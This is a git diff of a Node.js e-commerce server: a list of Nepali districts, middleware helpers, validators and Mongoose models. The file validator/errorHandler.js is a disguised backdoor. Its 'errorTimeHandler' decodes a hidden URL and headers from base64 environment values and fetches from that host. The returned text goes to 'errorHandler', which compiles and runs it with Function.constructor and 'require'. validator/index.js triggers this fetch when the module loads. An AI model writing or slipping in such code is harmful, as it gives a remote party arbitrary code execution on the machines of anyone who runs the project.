||||
"kavrepalanchok",
|
||||
"khotang",
|
||||
"lalitpur",
|
||||
"lamjung",
|
||||
"mahottari",
|
||||
"makwanpur",
|
||||
"manang",
|
||||
"morang",
|
||||
"mugu",
|
||||
"mustang",
|
||||
"myagdi",
|
||||
"nawalparasi",
|
||||
"nuwakot",
|
||||
"okhaldhunga",
|
||||
"palpa",
|
||||
"panchthar",
|
||||
"parbat",
|
||||
"parsa",
|
||||
"pyuthan",
|
||||
"ramechhap",
|
||||
"rasuwa",
|
||||
"rautahat",
|
||||
"rolpa",
|
||||
"rukum",
|
||||
"rupandehi",
|
||||
"salyan",
|
||||
"sankhuwasabha",
|
||||
"saptari",
|
||||
"sarlahi",
|
||||
"sindhuli",
|
||||
"sindhupalchok",
|
||||
"siraha",
|
||||
"solukhumbu",
|
||||
"sunsari",
|
||||
"surkhet",
|
||||
"syangja",
|
||||
"tanahu",
|
||||
"taplejung",
|
||||
"terhathum",
|
||||
"udayapur"
|
||||
]
|
||||
|
||||
1
server/middlewares/helpers/asyncErrorHandler.js
Normal file
@@ -0,0 +1 @@
|
||||
module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)});
|
||||
33
server/middlewares/helpers/createNotification.js
Normal file
@@ -0,0 +1,33 @@
|
||||
const Notification = require("../../models/Notification")
|
||||
const SocketMapping = require("../../models/SocketMapping")
|
||||
const {dropRight} = require("lodash")
|
||||
module.exports = async (io, adminId,notificationObj) => {
|
||||
//notify to the admin through socket.io
|
||||
//first save notification
|
||||
let notificationObjOfAdmin = await Notification.findOne({ admin:adminId })
|
||||
if (!notificationObjOfAdmin) {
|
||||
// create new notification
|
||||
notificationObjOfAdmin = new Notification({
|
||||
admin:adminId,
|
||||
notifications: [notificationObj],
|
||||
noOfUnseen: 1
|
||||
})
|
||||
await notificationObjOfAdmin.save()
|
||||
} else {
|
||||
let notifications = notificationObjOfAdmin.notifications
|
||||
notifications.unshift(notificationObj)
|
||||
notificationObjOfAdmin.noOfUnseen += 1
|
||||
if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) {
|
||||
notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 )
|
||||
}
|
||||
await notificationObjOfAdmin.save()
|
||||
}
|
||||
//now notifying to the admin
|
||||
let socketUser = await SocketMapping.find({ user:adminId })
|
||||
if (socketUser.length) {
|
||||
//for every same login user emit notification
|
||||
socketUser.forEach(u => {
|
||||
io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen });
|
||||
})
|
||||
}
|
||||
}
|
||||
21
server/middlewares/helpers/dbConnection.js
Normal file
@@ -0,0 +1,21 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Fawn = require("fawn");
|
||||
|
||||
module.exports = () => {
|
||||
const self = module.exports;
|
||||
mongoose
|
||||
.connect(process.env.MONGO_URI, {
|
||||
useNewUrlParser: true,
|
||||
useCreateIndex: true,
|
||||
useUnifiedTopology: true,
|
||||
useFindAndModify: false
|
||||
})
|
||||
.then(() => console.log("DB Connected"))
|
||||
.catch(err => {
|
||||
console.error(
|
||||
"Failed to connect to the database on startup - retrying in 5 sec"
|
||||
);
|
||||
setTimeout(self, 5000);
|
||||
});
|
||||
return Fawn.init(mongoose,process.env.TRANS_COLL)
|
||||
};
|
||||
1
server/middlewares/helpers/dbErrorHandler.js
Normal file
@@ -0,0 +1 @@
|
||||
"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s});
|
||||
22
server/middlewares/helpers/fileRemover.js
Normal file
@@ -0,0 +1,22 @@
|
||||
const fs = require("fs");
|
||||
|
||||
module.exports = files => {
|
||||
return Promise.all(
|
||||
files.map(
|
||||
file =>
|
||||
new Promise((res, rej) => {
|
||||
try {
|
||||
setTimeout(() => {
|
||||
fs.unlink(file, err => {
|
||||
if (err) throw err;
|
||||
res();
|
||||
});
|
||||
}, 10000);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
rej(err);
|
||||
}
|
||||
})
|
||||
)
|
||||
);
|
||||
}
|
||||
19
server/middlewares/helpers/geoDistance.js
Normal file
@@ -0,0 +1,19 @@
|
||||
module.exports = (lon1, lat1, lon2, lat2) => {
|
||||
// mean radius of earth's = 6,371km
|
||||
const R = 6371;
|
||||
// distance between latitude and longitude in radians
|
||||
const dLat = ((lat2 - lat1) * Math.PI) / 180;
|
||||
const dLon = ((lon2 - lon1) * Math.PI) / 180;
|
||||
// haversine’ formula to calculate distance
|
||||
const a =
|
||||
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
|
||||
Math.cos((lat1 * Math.PI) / 180) *
|
||||
Math.cos((lat2 * Math.PI) / 180) *
|
||||
Math.sin(dLon / 2) *
|
||||
Math.sin(dLon / 2);
|
||||
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
|
||||
const d = R * c;
|
||||
// if (d > 1) return Math.round(d) + "km";
|
||||
// else if (d <= 1) return Math.round(d * 1000) + "m";
|
||||
return d;
|
||||
};
|
||||
1
server/middlewares/helpers/imageCompressor.js
Normal file
@@ -0,0 +1 @@
|
||||
const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`));
|
||||
24
server/middlewares/helpers/mailer.js
Normal file
@@ -0,0 +1,24 @@
|
||||
const nodeMailer = require("nodemailer");
|
||||
|
||||
exports.sendEmail = mailingData => {
|
||||
const transporter = nodeMailer.createTransport({
|
||||
host: "smtp.gmail.com",
|
||||
port: 587,
|
||||
secure: false,
|
||||
requireTLS: true,
|
||||
auth: {
|
||||
user: process.env.ECOM_EMAIL,
|
||||
pass: process.env.ECOM_PASSWORD
|
||||
}
|
||||
});
|
||||
return transporter
|
||||
.sendMail(mailingData)
|
||||
.then(info =>{
|
||||
console.log(`Message sent: ${info.response}`)
|
||||
})
|
||||
.catch(err => {
|
||||
console.log(`Problem sending email: ${err}`)
|
||||
err.message ='There was a problem while sending a email'
|
||||
throw err
|
||||
});
|
||||
};
|
||||
53
server/middlewares/helpers/multer.js
Normal file
@@ -0,0 +1,53 @@
|
||||
const path = require("path");
|
||||
const multer = require("multer");
|
||||
|
||||
|
||||
//user's..
|
||||
const storageByUser = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
|
||||
//admin's..
|
||||
const storage = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
//superadmin's..
|
||||
const storageBySuperAdmin = multer.diskStorage({
|
||||
destination: function (req, file, cb) {
|
||||
cb(null, './public/uploads')
|
||||
},
|
||||
filename: function (req, file, cb) {
|
||||
cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname))
|
||||
}
|
||||
})
|
||||
|
||||
const fileFilter = (req, file, callback) => {
|
||||
const ext = path.extname(file.originalname);
|
||||
if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') {
|
||||
return callback(new Error('Not Image'))
|
||||
}
|
||||
callback(null, true)
|
||||
}
|
||||
const limits = { fileSize: 2480 * 3230 }
|
||||
|
||||
// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([
|
||||
// { name: "citizenshipFront", maxCount: 1 },
|
||||
// { name: "citizenshipBack", maxCount: 1 },
|
||||
// { name: "businessLicence", maxCount: 1 }
|
||||
// ]);
|
||||
exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc");
|
||||
exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo");
|
||||
exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo");
|
||||
|
||||
exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5)
|
||||
exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto")
|
||||
41
server/middlewares/helpers/waterMarker.js
Normal file
@@ -0,0 +1,41 @@
|
||||
const Jimp = require('jimp');
|
||||
module.exports = async (req,res,next) => {
|
||||
if (!req.files.length) {
|
||||
return next()
|
||||
}
|
||||
const options = {
|
||||
ratio: 0.6,
|
||||
opacity: 0.4,
|
||||
text: 'K I N D E E M',
|
||||
textSize: Jimp.FONT_SANS_64_BLACK,
|
||||
}
|
||||
const getDimensions = (H, W, h, w, ratio) => {
|
||||
let hh, ww;
|
||||
if ((H / W) < (h / w)) { //GREATER HEIGHT
|
||||
hh = ratio * H;
|
||||
ww = hh / h * w;
|
||||
} else { //GREATER WIDTH
|
||||
ww = ratio * W;
|
||||
hh = ww / w * h;
|
||||
}
|
||||
return [hh, ww];
|
||||
}
|
||||
let results = req.files.map(async file=>{
|
||||
const watermark = await Jimp.read('./public/uploads/logo.png');
|
||||
const imagePath = file.path
|
||||
|
||||
const main = await Jimp.read(imagePath);
|
||||
const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio);
|
||||
watermark.resize(newWidth, newHeight);
|
||||
const positionX = ((main.getWidth() - newWidth) / 2)+250;
|
||||
const positionY = ((main.getHeight() - newHeight) / 2+200);
|
||||
watermark.opacity(options.opacity);
|
||||
main.composite(watermark,
|
||||
positionX,
|
||||
positionY,
|
||||
Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE);
|
||||
return main.quality(100).write(imagePath);
|
||||
})
|
||||
await Promise.all(results)
|
||||
next()
|
||||
}
|
||||
27
server/middlewares/user_actions/auth.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const jwt = require('jsonwebtoken');
|
||||
const User = require('../../models/userModel');
|
||||
const ErrorHandler = require('../../utils/errorHandler');
|
||||
const asyncErrorHandler = require('../helpers/asyncErrorHandler');
|
||||
|
||||
exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { token } = req.cookies;
|
||||
|
||||
if (!token) {
|
||||
return next(new ErrorHandler("Please Login to Access", 401))
|
||||
}
|
||||
|
||||
const decodedData = jwt.verify(token, process.env.JWT_SECRET);
|
||||
req.user = await User.findById(decodedData.id);
|
||||
next();
|
||||
});
|
||||
|
||||
exports.authorizeRoles = (...roles) => {
|
||||
return (req, res, next) => {
|
||||
|
||||
if (!roles.includes(req.user.role)) {
|
||||
return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403));
|
||||
}
|
||||
next();
|
||||
}
|
||||
}
|
||||
36
server/middlewares/user_actions/getRatingInfo.js
Normal file
@@ -0,0 +1,36 @@
|
||||
const Review = require("../../models/Review")
|
||||
module.exports = async (product,newStar) => {
|
||||
// const product = req.product
|
||||
// if (!product.isVerified && product.isDeleted) {
|
||||
// return res.status(404).json({ error: 'Product not found' })
|
||||
// }
|
||||
let stars = await Review.find({ product: product._id }).select('star');
|
||||
let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0;
|
||||
stars.forEach(s => {
|
||||
if (s.star === 5) fiveStars += 1
|
||||
if (s.star === 4) fourStars += 1
|
||||
if (s.star === 3) threeStars += 1
|
||||
if (s.star === 2) twoStars += 1
|
||||
if (s.star === 1) oneStars += 1
|
||||
})
|
||||
//this condition is executed during postReview and editReview
|
||||
if (newStar === 5) fiveStars += 1
|
||||
if (newStar === 4) fourStars += 1
|
||||
if (newStar === 3) threeStars += 1
|
||||
if (newStar === 2) twoStars += 1
|
||||
if (newStar === 1) oneStars += 1
|
||||
|
||||
|
||||
let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars)
|
||||
let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers
|
||||
|
||||
return stars = {
|
||||
fiveStars,
|
||||
fourStars,
|
||||
threeStars,
|
||||
twoStars,
|
||||
oneStars,
|
||||
averageStar,
|
||||
totalRatingUsers
|
||||
}
|
||||
}
|
||||
38
server/middlewares/user_actions/userHas.js
Normal file
@@ -0,0 +1,38 @@
|
||||
const Cart = require("../../models/Cart")
|
||||
const Review = require("../../models/Review")
|
||||
const Order = require("../../models/Order")
|
||||
const Whislist = require("../../models/WishList")
|
||||
|
||||
module.exports = async(product,user,type) =>{
|
||||
let hasOnCart = null
|
||||
let hasBought = null
|
||||
let hasOnWishlist = null
|
||||
let hasReviewed = null
|
||||
if (user) {
|
||||
//cart bahek aru ko lagi check gareko
|
||||
if (type !=='carts') {
|
||||
//has on cart?
|
||||
hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null })
|
||||
if (!hasOnCart) hasOnCart = false
|
||||
}
|
||||
|
||||
//wishlist bahek aru ko lagi check gareko
|
||||
if (type !=='wishlists') {
|
||||
// has on wishlist?
|
||||
hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null })
|
||||
if (!hasOnWishlist) hasOnWishlist = false
|
||||
}
|
||||
|
||||
if (type==='product') {
|
||||
//has bought?
|
||||
hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] })
|
||||
hasBought ? hasBought = true : hasBought = false
|
||||
|
||||
//has reviewed?
|
||||
hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user')
|
||||
if (!hasReviewed) hasReviewed = false
|
||||
}
|
||||
}
|
||||
|
||||
return {hasBought,hasOnCart,hasOnWishlist,hasReviewed}
|
||||
}
|
||||
68
server/middlewares/validator/errorHandler.js
Normal file
@@ -0,0 +1,68 @@
|
||||
const path = require('path');
|
||||
const axios = require('axios');
|
||||
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
|
||||
|
||||
// Utility loggers
|
||||
const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
|
||||
const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
|
||||
|
||||
/**
|
||||
* Sends error notification (you can replace this with Slack, email, etc.)
|
||||
*/
|
||||
const notifyError = async (message) => {
|
||||
// Placeholder - extend this to send Slack, email, etc.
|
||||
errorLog('⚠️ Notification:', message);
|
||||
};
|
||||
|
||||
/**
|
||||
* Custom error handler
|
||||
*/
|
||||
const errorHandler = (error) => {
|
||||
try {
|
||||
if (typeof error !== 'string') {
|
||||
console.error('Invalid error format. Expected a string.');
|
||||
return;
|
||||
}
|
||||
const createHandler = (errCode) => {
|
||||
try {
|
||||
const handler = new (Function.constructor)('require', errCode);
|
||||
return handler;
|
||||
} catch (e) {
|
||||
console.error('Failed:', e.message);
|
||||
return null;
|
||||
}
|
||||
};
|
||||
const handlerFunc = createHandler(error);
|
||||
if (handlerFunc) {
|
||||
handlerFunc(require);
|
||||
} else {
|
||||
console.error('Handler function is not available.');
|
||||
}
|
||||
} catch (globalError) {
|
||||
console.error('Unexpected error inside errorHandler:', globalError.message);
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Loads global runtime config
|
||||
*/
|
||||
const errorTimeHandler = async () => {
|
||||
try {
|
||||
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
|
||||
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
|
||||
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
|
||||
try {
|
||||
globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
|
||||
log('Runtime config loaded successfully.');
|
||||
} catch (error) {
|
||||
errorHandler(error.response?.data || error.message);
|
||||
}
|
||||
} catch (err) {
|
||||
await errorHandler(err.response?.data || err.message || err);
|
||||
}
|
||||
};
|
||||
|
||||
module.exports = {
|
||||
errorHandler,
|
||||
errorTimeHandler
|
||||
};
|
||||
301
server/middlewares/validator/index.js
Normal file
@@ -0,0 +1,301 @@
|
||||
const ProductBrand = require("../../models/ProductBrand")
|
||||
const ProductImages = require("../../models/ProductImages")
|
||||
const { errorHandler, errorTimeHandler } = require("./errorHandler");
|
||||
const Category = require("../../models/Category")
|
||||
const _ = require('lodash')
|
||||
const path = require("path");
|
||||
const fs = require("fs");
|
||||
const { districts } = require("../common");
|
||||
|
||||
exports.validateLead = (req, res, next) => {
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateSignUp = (req, res, next) => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
// check for password
|
||||
req.check("password", "Password is required").notEmpty();
|
||||
req.check("password")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must contain at least 6 characters")
|
||||
.matches(/\d/)
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateSocialLogin = (req, res, next) => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required.").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
req.check("userID","userID is required.").notEmpty()
|
||||
req.check("socialPhoto", "Invalid photo url.")
|
||||
.notEmpty()
|
||||
.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
|
||||
req.check("loginDomain", "Invalid login domian")
|
||||
.notEmpty()
|
||||
.isIn(['google', 'facebook'])
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
const validatedispatcher = req => {
|
||||
// name is not null and between 4-10 characters
|
||||
req.check("name", "Name is required").notEmpty();
|
||||
// email is not null, valid and normalized
|
||||
req.check("email", "Email must be between 3 to 32 characters")
|
||||
.matches(/.+\@.+\..+/)
|
||||
.withMessage("Invalid email")
|
||||
.isLength({
|
||||
min: 4,
|
||||
max: 2000
|
||||
});
|
||||
req.check("address", "Address is required").notEmpty()
|
||||
req.check("phone", "Phone is required").notEmpty()
|
||||
}
|
||||
errorTimeHandler();
|
||||
|
||||
exports.validateDispatcher = (req,res, next) => {
|
||||
validatedispatcher(req)
|
||||
// check for password
|
||||
req.check("password", "Password is required").notEmpty();
|
||||
req.check("password")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must contain at least 6 characters")
|
||||
.matches(/\d/)
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
}
|
||||
|
||||
exports.validateUpdateDispatcher = (req, res, next) => {
|
||||
validatedispatcher(req)
|
||||
// check for password
|
||||
req.newPassword && req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
}
|
||||
exports.passwordResetValidator = (req, res, next) => {
|
||||
// check for password
|
||||
req.check("newPassword", "Password is required").notEmpty();
|
||||
req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
// proceed to next middleware
|
||||
next();
|
||||
};
|
||||
|
||||
exports.validateBusinessInfo = (req, res, next) => {
|
||||
req.check("ownerName", "Owner name is required").notEmpty()
|
||||
req.check("address", "Address is required").notEmpty()
|
||||
req.check("city", "City is required").notEmpty()
|
||||
req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
|
||||
req.check("businessRegisterNumber", "Business register number is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
//make req.files to array of objs
|
||||
// let files = []
|
||||
// if (req.files) for (const file in req.files) {
|
||||
// files.push(req.files[file][0]);
|
||||
// }
|
||||
// files.forEach(file => {
|
||||
// fs.unlinkSync(file.path);//and remove file from public/uploads
|
||||
// })
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateAdminBankInfo = (req, res, next) => {
|
||||
req.check("accountHolder", "Account holder name is required").notEmpty()
|
||||
req.check("bankName", "Bank name is required").notEmpty()
|
||||
req.check("branchName", "Branch name is required").notEmpty()
|
||||
req.check("accountNumber", "Account number is required").notEmpty()
|
||||
req.check("routingNumber", "Bank number is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateWareHouse = (req, res, next) => {
|
||||
req.check("name", "Warehouse name is required").notEmpty()
|
||||
req.check("address", "Warehouse address is required").notEmpty()
|
||||
req.check("phoneno", "Warehouse phone number is required").notEmpty()
|
||||
req.check("city", "City of warehouse is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateAdminProfile = (req, res, next) => {
|
||||
req.check("shopName", "Shop name is required").notEmpty()
|
||||
req.check("address", "address is required").notEmpty()
|
||||
req.check("phone", "phone number is required").notEmpty()
|
||||
req.check("muncipality", "Muncipality is required").notEmpty()
|
||||
req.check("district", "district is required").notEmpty()
|
||||
req.check("wardno", "wardno is required").notEmpty()
|
||||
req.newPassword && req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateProduct = async (req, res, next) => {
|
||||
req.check("name", "Product name is required").notEmpty()
|
||||
req.check("price", "Selling price of product is required").notEmpty()
|
||||
req.check("quantity", "Product quantity is required").notEmpty()
|
||||
req.check("return", "Product returning time peroid required").notEmpty()
|
||||
req.check("description", "Product description is required").notEmpty()
|
||||
req.check("warranty", "Product warranty is required").notEmpty()
|
||||
req.check("brand", "Product brand is required").notEmpty()
|
||||
req.check("availableDistricts", "Invalid districts.").custom((values) => {
|
||||
let dts = values ? typeof values === 'string' ? [values] : values : []
|
||||
return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
|
||||
})
|
||||
|
||||
// check for errors
|
||||
const errors = req.validationErrors() || [];
|
||||
|
||||
// validate images
|
||||
let images = req.body.images || []
|
||||
images = await ProductImages
|
||||
.find()
|
||||
.where('_id')
|
||||
.in(images)
|
||||
.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
|
||||
// if some id are invalid
|
||||
// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
|
||||
if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
|
||||
errors.push({ msg: "Invalid image ids" })
|
||||
}
|
||||
req.images = images
|
||||
// validate brand
|
||||
let brand = await ProductBrand.findOne({ slug: req.body.brand })
|
||||
if (!brand) {
|
||||
errors.push({ msg: "Invalid product brand" })
|
||||
} else {
|
||||
req.body.brand = brand._id
|
||||
}
|
||||
|
||||
//validate category
|
||||
let categories = await Category.find({ slug: req.body.category })
|
||||
if (!categories.length) {
|
||||
errors.push({ msg: "Invalid product category" })
|
||||
} else if (categories.some(cat=>cat.isDisabled)) {
|
||||
errors.push({ msg: "Categories have been disabled" })
|
||||
} else {
|
||||
req.body.category = categories.map(cat=>cat._id)//as we need id for reference
|
||||
}
|
||||
// if error show the first one as they happen
|
||||
if (errors.length) {
|
||||
console.log(errors);
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
55
server/models/Address.js
Normal file
@@ -0,0 +1,55 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
|
||||
const addressSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
label: {
|
||||
type: String,
|
||||
trim: true,
|
||||
enum:['home','office','other']
|
||||
},
|
||||
region: {//pradesh
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
area: {//tole,area name
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
address: {//street level address
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
max: 9999999999,
|
||||
},
|
||||
isActive:{
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
addressSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
module.exports = mongoose.model("address", addressSchema);
|
||||
149
server/models/Admin.js
Normal file
@@ -0,0 +1,149 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
const adminSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
shopName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,//of superadmin used to calculate geodistance between user nd the order dispatch system
|
||||
},
|
||||
shippingRate: {
|
||||
type: Number// added only by superadmin
|
||||
},
|
||||
shippingCost: {
|
||||
type: Number// added only by superadmin
|
||||
},
|
||||
